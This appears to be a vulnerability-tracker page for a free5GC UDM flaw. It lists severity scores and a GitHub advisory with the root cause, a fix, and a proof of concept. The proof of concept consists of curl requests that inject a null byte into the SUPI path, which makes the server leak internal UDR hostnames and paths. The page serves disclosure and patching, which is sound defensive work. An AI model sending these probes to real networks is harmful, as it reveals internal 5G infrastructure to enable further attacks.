CVE-2026-42459

highpriority · track · 30EPSS 0.003 · 25 %ileEUUS
grimoire priorityP2 · Scheduled
Exploitable?
—
no known exploitation
Likely / severe?
0.32% (25th) EPSS
CVSS 7.5 · high
Is it mine?
4 products
Check your exposure
Who says so?
4 sources
cnnvd · enisa_euvd · osv · nvd

EPSS · scored 2026-10-27

free5GC is an open-source implementation of the 5G core network. Prior to 4.2.2, the free5GC UDM component fails to validate the supi path parameter in six GET handlers of the nudm-sdm (Subscriber Data Management) service. An unauthenticated attacker can inject control characters into the SUPI parameter, causing UDM to forward a malformed request to UDR and return a 500 Internal Server Error response that exposes internal infrastructure details. This vulnerability is fixed in 4.2.2.

01

cvss

Technical severity, 0–10. One row per scoring source.

7.7
010

base score 0–10 · higher = more severe · hover a vector to decode⚠ sources disagree · medium–high · 6.6–7.7

v3.17.5highCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:Nprimary · NVD / NIST USexploitability 3.9 · impact 3.6
v3.17.5highCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:Nsecondary · OSV
v4.07.7highCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:Psecondary · ENISA EU
v4.07.7highCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:Xsecondary · security-advisories@github.com
v4.06.6mediumCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:U/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:Xsecondary · CVSS-BT (t0sche)
02

ssvc

A stakeholder decision — act, attend, or track — from exploitation and impact.

Exploitation: poc · Automatable: yes · Technical Impact: partialcoordinatorcisa_ssvcUS
03

weaknesses

The CWE weakness classes this flaw belongs to.

04

affected products (4)

Products and version ranges known to be affected.

05

advisories (2)

Vendor and ecosystem advisories describing this.

  • GHSA-585v-hcgf-jhfrFree5GC UDM has Improper Input Validation and Generation of Error Messages Containing Sensitive Information2026-05-07ghsa · osvUS

    ## Summary The free5GC UDM component fails to validate the `supi` path parameter in six GET handlers of the `nudm-sdm` (Subscriber Data Management) service. An unauthenticated attacker can inject control characters into the SUPI parameter, causing UDM to forward a malformed request to UDR and return a `500 Internal Server Error` response that exposes internal infrastructure details. ## Affected Package - **Ecosystem**: Go - **Package**: `github.com/free5gc/udm` - **Affected versions**: `<= v1.4.2` - **Patched versions**: none yet ## Details The following handlers in `internal/sbi/api_subscriberdatamanagement.go` do not call `validator.IsValidSupi()` before passing the `supi` parameter to the processor: - `HandleGetSmfSelectData` — `GET /:supi/smf-select-data` - `HandleGetSupi` — `GET /:supi` - `HandleGetTraceData` — `GET /:supi/trace-data` - `HandleGetUeContextInSmfData` — `GET /:supi/ue-context-in-smf-data` - `HandleGetNssai` — `GET /:supi/nssai` - `HandleGetSmData` — `GET /:supi/sm-data` By contrast, `HandleGetAmData` in the same file correctly validates the `supi` parameter: ```go // HandleGetAmData — correctly validates (not vulnerable) supi := c.Params.ByName("supi") if !validator.IsValidSupi(supi) { c.JSON(http.StatusBadRequest, problemDetail) return } // HandleGetSmfSelectData — missing validation (vulnerable) supi := c.Params.ByName("supi") // ← no validator.IsValidSupi(supi) call s.Processor().GetSmfSelectDataProcedure(c, supi, plmnID, supportedFeatures) ``` The malformed `supi` is passed to the processor which constructs a URL to forward the request to UDR. Go's `net/url` parser rejects the URL containing control characters and returns an error. UDM catches this error and responds with a `500 SYSTEM_FAILURE` that includes the full internal UDR URL in the `detail` field. **This is a missed fix of CVE-2026-27642**, which applied the same `validator.IsValidSupi()` check only to `internal/sbi/api_ueauthentication.go` (`HandleConfirmAuth` and `HandleGenerateAuthData`), leaving the SDM service handlers unpatched. ## Proof of Concept ```bash # Vulnerable — returns 500 with internal UDR URL exposed curl "http://<UDM_HOST>/nudm-sdm/v2/imsi-22277%00INJECTED/smf-select-data" curl "http://<UDM_HOST>/nudm-sdm/v2/imsi-22277%00INJECTED/nssai" curl "http://<UDM_HOST>/nudm-sdm/v2/imsi-22277%00INJECTED/trace-data" curl "http://<UDM_HOST>/nudm-sdm/v2/imsi-22277%00INJECTED/sm-data" # Expected (vulnerable) response: # HTTP 500 # { # "title": "System failure", # "status": 500, # "detail": "parse \"http://udr.internal:80/nudr-dr/v2/subscription-data/imsi-22277\x00INJECTED//provisioned-data/smf-selection-subscription-data\": net/url: invalid control character in URL", # "cause": "SYSTEM_FAILURE" # } # Protected endpoint (for comparison) — returns 400 curl "http://<UDM_HOST>/nudm-sdm/v2/imsi-22277%00INJECTED/am-data" # HTTP 400 # {"title":"Malformed request syntax","status":400,"detail":"Supi is invalid","cause":"MANDATORY_IE_INCORRECT"} ``` ## Impact An unauthenticated remote attacker can send a crafted GET request to any of the six affected endpoints to obtain: 1. Internal UDR hostname and port 2. Full internal API path structure (`/nudr-dr/v2/subscription-data/...`) 3. UDR API version 4. Internal service naming convention This information can be used to facilitate further attacks against the UDR or other internal 5G core components. ## Recommended Fix Add `validator.IsValidSupi()` to all six affected handlers, following the pattern already used in `HandleGetAmData`: ```go supi := c.Params.ByName("supi") if !validator.IsValidSupi(supi) { problemDetail := models.ProblemDetails{ Title: "Malformed request syntax", Status: http.StatusBadRequest, Detail: "Supi is invalid", Cause: "MANDATORY_IE_INCORRECT", } c.Set(sbi.IN_PB_DETAILS_CTX_STR, http.StatusText(int(problemDetail.Status))) c.JSON(int(problemDetail.Status), problemDetail) return } ```

  • GO-2026-5138Free5GC UDM has Improper Input Validation and Generation of Error Messages Containing Sensitive Information in github.com/free5gc/udm2026-06-25vendor · osvUS

    Free5GC UDM has Improper Input Validation and Generation of Error Messages Containing Sensitive Information in github.com/free5gc/udm

06

also known as (5)

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07

sources

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published 2026-05-27modified 2026-10-14
08

references (5)

External citations — patches, advisories, analysis.

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